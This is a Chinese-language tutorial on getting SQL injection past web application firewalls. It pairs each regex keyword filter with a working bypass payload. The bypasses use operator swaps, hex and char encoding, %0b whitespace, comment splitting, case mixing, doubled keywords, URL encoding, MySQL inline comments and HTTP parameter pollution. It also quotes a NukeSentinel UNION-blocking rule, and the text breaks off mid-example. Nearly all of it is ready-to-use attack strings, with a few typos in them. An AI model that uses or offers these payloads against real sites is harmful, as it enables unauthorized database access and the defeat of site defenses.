Joy_nick通过本文主要向大家介绍了sql注入绕过,sql注入绕过安全狗,sql注入绕过waf,sql绕过,注入绕过等相关知识,希望本文的分享对您有所帮助
一、 绕过waf思路
从第一步起，一点一点去分析，然后绕过。
1、过滤 and,or
preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
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2、过滤 and, or, union
preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
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3、过滤 and, or, union, where
preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
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4、过滤 and, or, union, where, limit
preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
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5、过滤 and, or, union, where, limit, group by
preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
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6、过滤 and, or, union, where, limit, group by, select
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
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7、过滤 and, or, union, where, limit, group by, select, ‘
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
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8、过滤 and, or, union, where, limit, group by, select, ‘, hex
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
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9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
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10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)
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二、正则绕过
根据正则的的模糊匹配特性绕过，比如过滤了'='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
eg: filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273</div>
三、通用绕过
1.注释符
?id=1+un//ion+se//lect+1,2,3–</div>
2.大小写
?id=1+UnIoN//SeLecT//1,2,3–</div>
3.关键字替换
有些waf等使用preg_replace替换了SQL关键字
?id=1+UNunionION+SEselectLECT+1,2,3-- ?id=1+uni%0bon+se%0blect+1,2,3--</div>
有时候注释符'/**/‘可能被过滤，也可以使用%0b绕过
Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html</div>
4.编码
一个经典的脚本：Nukesentinel.php
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
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Forbidden: http://localhost/php/?/**/union/**/select Bypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/select Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect</div>
5.缓冲区溢出
http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–</div>
6.内联注释(mysql)
http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3-- http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--</div>
四、高级绕过
1.HPP（http参数污染)
举个例子：
index.php?par1=val1&par1=val2 | web server | par1 | | :— | :— | | ASP.NET/IIS | val1,val2 | | ASP/IIS | val1,val2 | | PHP/Apache | val2 | | JSP/Tomcat | val1 |</div>
eg:
在ASP/ASP.NET的环境下
Forbidden: http://localhost/search.aspx?q=select name,password from users Bypassed : http://localhost/search.aspx